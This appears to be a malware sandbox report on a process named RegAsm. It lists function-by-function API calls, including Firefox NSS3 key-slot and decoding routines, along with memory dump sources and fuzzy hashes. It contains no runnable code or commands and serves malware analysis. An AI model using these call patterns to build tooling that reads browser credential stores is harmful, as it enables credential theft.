PL_HashTableLookup.NSS3(?,?), ref: 6C1D2D71
PR_Unlock.NSS3(?), ref: 6C1D2D7E

Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07AD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07CD
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C13204A), ref: 6C1A07D6
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C13204A), ref: 6C1A07E4
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,6C13204A), ref: 6C1A0864
Part of subcall function 6C1A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C1A0880
Part of subcall function 6C1A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C13204A), ref: 6C1A08CB
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08D7
Part of subcall function 6C1A07A0: TlsGetValue.KERNEL32(?,?,6C13204A), ref: 6C1A08FB

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: a660a47d6022711875fcf074786c01550463ccd247af2f63303bb2ca088e1f50
Instruction ID: 54edf08d44283e9717dbb7ffbd65940c4f64238e335da8eaa8f77f955ad7a226
Opcode Fuzzy Hash: a660a47d6022711875fcf074786c01550463ccd247af2f63303bb2ca088e1f50
Instruction Fuzzy Hash: CC51F376E00604AFDB009F24EC85AAAB778FF25218F058524EC2897B11E731FD64C7E2

Function 6C134C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CB0
PR_Unlock.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134D97
PR_Lock.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134DBA
PR_WaitCondVar.NSS3 ref: 6C134DD4
PR_Unlock.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134DEF

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 67f1515208def38120333ab9119d679ded665892caf3794a3190cf7ed0e14aaa
Instruction ID: 424b64ee2a97ab7dedfb2fd691f98900ca5087d3cf1fe71cb90a6f4f9337316b
Opcode Fuzzy Hash: 67f1515208def38120333ab9119d679ded665892caf3794a3190cf7ed0e14aaa
Instruction Fuzzy Hash: A2418EB5A04765CFCB00EF78D484299BBB8BF16318F065669DC8C9BB10E731D884CB91

Function 00428AE4 Relevance: 18.1, APIs: 12, Instructions: 95COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00428AFD

Part of subcall function 00424042: Sleep.KERNEL32(00000000,?), ref: 0042406A

__calloc_crt.LIBCMT ref: 00428B21
_free.LIBCMT ref: 00428B2F
__calloc_crt.LIBCMT ref: 00428B3D
_free.LIBCMT ref: 00428B4D
_free.LIBCMT ref: 00428B53
__copytlocinfo_nolock.LIBCMT ref: 00428B62
__setlocale_nolock.LIBCMT ref: 00428B6F
_free.LIBCMT ref: 00428B88
__setmbcp_nolock.LIBCMT ref: 00428B9A
_free.LIBCMT ref: 00428BA8
_free.LIBCMT ref: 00428BBC

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$Sleep__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 3833677464-0
Opcode ID: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction ID: aa520ae6fa6203ac603baf8cd7262ee6573517827eed65e14824c977b114d8a8
Opcode Fuzzy Hash: 2389b6418f02c08ddef4e94eb589e34fa5c82c3a38b64e5d8df99c8a55ddd48b
Instruction Fuzzy Hash: E1213AB1705520AAD7227F1AF802D4F7FE4DF91758BA0842FF5845B251DE3DAC408A5C

Function 004015E6 Relevance: 18.0, APIs: 12, Instructions: 50windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004015BC: GetProcessHeap.KERNEL32(00000008,000000FF), ref: 004015C6
Part of subcall function 004015BC: HeapAlloc.KERNEL32(00000000), ref: 004015CD

MessageBoxA.USER32(00000000,00000000,00000000,00000000), ref: 00401606
GetLastError.KERNEL32 ref: 0040160C
SetCriticalSectionSpinCount.KERNEL32(00000000,00000000), ref: 00401614
GetWindowContextHelpId.USER32(00000000), ref: 0040161B
GetWindowLongW.USER32(00000000,00000000), ref: 00401623
RegisterClassW.USER32(00000000), ref: 0040162A
IsWindowVisible.USER32(00000000), ref: 00401631
ConvertDefaultLocale.KERNEL32(00000000), ref: 00401638
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401644
IsDialogMessageW.USER32(00000000,00000000), ref: 0040164C
GetProcessHeap.KERNEL32(00000000,?), ref: 00401656
HeapFree.KERNEL32(00000000), ref: 0040165D

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Window$MessageProcess$AllocByteCharClassContextConvertCountCriticalDefaultDialogErrorFreeHelpLastLocaleLongMultiRegisterSectionSpinVisibleWide
String ID:
API String ID: 3627164727-0
Opcode ID: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction ID: 597bc7deab9f95c5419af2560a3a18d661806b2e942c9da5f2f727d66e905f75
Opcode Fuzzy Hash: 90e2bc38f92fcaff424a9cbc551a6a023065eacd9b594e7e38103360e1463183
Instruction Fuzzy Hash: 17014672402824FBC7156BA1BD6DDDF3E7CEE4A3527141265F60A910608B794A01CBFE

Function 6C1D8F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C1D8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C1D8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C1D8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C1D9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C1D9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C1D905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C1D9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C1D90EC

Part of subcall function 6C1A0F00: PR_GetPageSize.NSS3(6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F1B
Part of subcall function 6C1A0F00: PR_NewLogModule.NSS3(clock,6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C1CDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C1D9111

Strings

n,l, xrefs: 6C1D90A3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: n,l
API String ID: 2831689957-3692751573
Opcode ID: aeb3df37d19621e4c4aa6f30549b752c68140ccad8b429332f572d4c5c263965
Instruction ID: 2c01db624ed488db94e8673b7475fe49b0e6559b9fc33b581e0eb012dbbe0221
Opcode Fuzzy Hash: aeb3df37d19621e4c4aa6f30549b752c68140ccad8b429332f572d4c5c263965
Instruction Fuzzy Hash: CB519C75A046048FDF00EF78C4E8299BBF8BF4A314F0645A9DC459BB45EB35E885CB91

Function 6C1E6C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C1E6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E6CA3

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C1E6CD5

Strings

hSession = 0x%x, xrefs: 6C1E6C7E, 6C1E6C8E
pMechanism = 0x%p, xrefs: 6C1E6CD0
(CK_INVALID_HANDLE), xrefs: 6C1E6C9C
n,l, xrefs: 6C1E6CF4, 6C1E6D1F
C_DigestInit, xrefs: 6C1E6C61

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$n,l
API String ID: 1003633598-1108940891
Opcode ID: a96edf955e15a91ac68d85a44303449d3a0f92f8f4aaea6802cfefa5cf635fe0
Instruction ID: 462f7a5d693f4c77310debef644fe01116ad983998fabc0769b5ba3ac5bfed5f
Opcode Fuzzy Hash: a96edf955e15a91ac68d85a44303449d3a0f92f8f4aaea6802cfefa5cf635fe0
Instruction Fuzzy Hash: 5321E63570054C9FDB00DB659D8AB9E37B9EB4A328F854029ED09D7F02DB35A948CBD2

Function 6C1FECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C1FDE64), ref: 6C1FED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1FED22

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

PL_FreeArenaPool.NSS3(?), ref: 6C1FED4A
PL_FinishArenaPool.NSS3(?), ref: 6C1FED6B
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1FED38

Part of subcall function 6C134C70: TlsGetValue.KERNEL32(?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134C97
Part of subcall function 6C134C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CB0
Part of subcall function 6C134C70: PR_Unlock.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C1FED52
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C1FED83
PL_FreeArenaPool.NSS3(?), ref: 6C1FED95
PL_FinishArenaPool.NSS3(?), ref: 6C1FED9D

Part of subcall function 6C2164F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C21127C,00000000,00000000,00000000), ref: 6C21650E

Strings

security, xrefs: 6C1FED06

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: ca5ecf0a5f16505141d990db718eb7777e1247dc48ec2f94ca585f2530c6632d
Instruction ID: 43b56fb001bb90bfb07e1aaca6ae681a46d534e2f17c70863feee7d15061fb70
Opcode Fuzzy Hash: ca5ecf0a5f16505141d990db718eb7777e1247dc48ec2f94ca585f2530c6632d
Instruction Fuzzy Hash: 8D116A769442186BE7205625AC84BBF72F8EF52B0CF010435ED2463E41FB29A60DC6F7

Function 6C2C0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C1A2357), ref: 6C2C0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C1A2357), ref: 6C2C0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C2C0EE6

Part of subcall function 6C2C09D0: PR_Now.NSS3 ref: 6C2C0A22
Part of subcall function 6C2C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C2C0A35
Part of subcall function 6C2C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C2C0A66
Part of subcall function 6C2C09D0: PR_GetCurrentThread.NSS3 ref: 6C2C0A70
Part of subcall function 6C2C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C2C0A9D
Part of subcall function 6C2C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C2C0AC8
Part of subcall function 6C2C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C2C0AE8
Part of subcall function 6C2C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C2C0B19
Part of subcall function 6C2C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C2C0B48
Part of subcall function 6C2C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C2C0C76
Part of subcall function 6C2C09D0: PR_LogFlush.NSS3 ref: 6C2C0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C2C0EFA

Part of subcall function 6C1AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C1AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C2C0ED9, 6C2C0EE5, 6C2C0F06, 6C2C0F0B
Aborting, xrefs: 6C2C0EB3

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: aaab96c4a8d6de4bf881ebe9ebe1b6e3f7f7d14f0e405604006408353cadccaa
Instruction ID: 4d9479f470cb9a18668856503c606ec390c0adc645180b002e38d396ddbbfa03
Opcode Fuzzy Hash: aaab96c4a8d6de4bf881ebe9ebe1b6e3f7f7d14f0e405604006408353cadccaa
Instruction Fuzzy Hash: 9AF0A4F6A001187BDA007BA0AC49C9B3E2DDF46664F004028FE0956602DB76E915D6B3

Function 004265DE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426605
_free.LIBCMT ref: 00426613
_free.LIBCMT ref: 0042661E
_free.LIBCMT ref: 004265F2

Part of subcall function 0041D90B: HeapFree.KERNEL32(00000000,00000000,?,0041D159,00000000,0043B6EC,0041D1A0,0040EEBE,?,?,0041D28A,0043B6EC,?,?,0042EC08,0043B6EC), ref: 0041D921
Part of subcall function 0041D90B: GetLastError.KERNEL32(?,?,?,0041D28A,0043B6EC,?,?,0042EC08,0043B6EC,?,?,?), ref: 0041D933

___free_lc_time.LIBCMT ref: 0042663C
_free.LIBCMT ref: 00426647
_free.LIBCMT ref: 0042666C
_free.LIBCMT ref: 00426683
_free.LIBCMT ref: 00426692

Strings

xLC, xrefs: 0042662C

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: dfa6374defc25ef8c23455bbb2a4444cfb33248c475573623dde345c17aba14c
Instruction ID: bd450adc2197fe71c8bbb8b062826dabf3bbab1d863dde8d333086e9035145e5
Opcode Fuzzy Hash: dfa6374defc25ef8c23455bbb2a4444cfb33248c475573623dde345c17aba14c
Instruction Fuzzy Hash: 0E1186F2A003159BDB216F7AF985B9777A9EB01308F56096FE14897211CB3C9C948A58

Function 6C224DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C224DCB

Part of subcall function 6C210FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C1B87ED,00000800,6C1AEF74,00000000), ref: 6C211000
Part of subcall function 6C210FF0: PR_NewLock.NSS3(?,00000800,6C1AEF74,00000000), ref: 6C211016
Part of subcall function 6C210FF0: PL_InitArenaPool.NSS3(00000000,security,6C1B87ED,00000008,?,00000800,6C1AEF74,00000000), ref: 6C21102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C224DE1

Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C2110F3
Part of subcall function 6C2110C0: EnterCriticalSection.KERNEL32(?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21110C
Part of subcall function 6C2110C0: PL_ArenaAllocate.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211141
Part of subcall function 6C2110C0: PR_Unlock.NSS3(?,?,?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C211182
Part of subcall function 6C2110C0: TlsGetValue.KERNEL32(?,6C1B8802,00000000,00000008,?,6C1AEF74,00000000), ref: 6C21119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C224DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C224E59

Part of subcall function 6C20FAB0: free.MOZGLUE(?,-00000001,?,?,6C1AF673,00000000,00000000), ref: 6C20FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C2E300C,00000000), ref: 6C224EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C224EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C224F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C22521A

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 3ded492cc3d49aab02434fe474490e667805410ff71c6d05fc1ea890589fa5ca
Instruction ID: 7e4725205cf6ca10358dfc021d8214c430a2af6cc25f8687036fb6b6e3466103
Opcode Fuzzy Hash: 3ded492cc3d49aab02434fe474490e667805410ff71c6d05fc1ea890589fa5ca
Instruction Fuzzy Hash: 31F17F71E0020ACBDB04CF54D8407ADB7B1BF88359F258169ED15AB785EB79E981CF90

